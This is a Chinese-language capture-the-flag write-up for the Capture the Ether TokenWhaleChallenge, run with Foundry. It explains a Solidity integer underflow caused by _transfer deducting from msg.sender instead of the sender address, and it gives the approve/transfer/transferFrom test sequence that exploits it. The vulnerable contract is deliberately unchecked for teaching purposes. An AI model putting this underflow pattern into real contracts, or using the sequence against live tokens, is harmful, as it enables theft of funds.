原题目要求 TokenWhaleChallenge 合约里的 player 的 token 余额大于 1000000。最开始的时候会给 player 1000 初始 token 余额。
安装 Foundry
根据 Foundry 官方文档配置好运行环境。
运行测试
$ cd WTF-CTF
$ forge test -C src/Capture_the_Ether/Math/Token_sale -vvv
在原题 ^0.4.21
版本下,所有的算术操作都是 unchecked,因此为了能够复现这个 Challenge,我给 _transfer 里面的某一行增加了 unchecked。
TokenWhaleChallenge 的合约不符合 ERC20 标准(没有返回 bool),只是使用了类似的接口。
TokenWhaleChallenge 里面的 _transfer() 函数实现有问题:
function _transfer(address to, uint256 value) internal {
unchecked {
balanceOf[msg.sender] -= value;
}
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
- 内部/私有函数不应该使用
msg.sender
等这样的全局变量,最好使用参数传进来。这导致transferFrom
并不是从 from 而是从 msg.sender 里面扣除余额。 - 没有进行 Math 操作的检查。
解决思路是,player(alice)和她的同伙(bob)一起操作:
- bob approve alice 1 token
- alice 将她的所有余额转移给 bob
- alice 调用
transferFrom(bob, address(0), 1)
,这时 bob 的余额大于等于 1;allowance[bob][alice] >= 1
,接着会执行_transfer(to, value)
,将 alice 的余额减 1,实现下溢出。
vm.startPrank(bob);
tokenWhaleChallenge.approve(alice, 1);
vm.stopPrank();
vm.startPrank(alice);
tokenWhaleChallenge.transfer(bob, 1000);
tokenWhaleChallenge.transferFrom(bob, address(0), 1);
vm.stopPrank();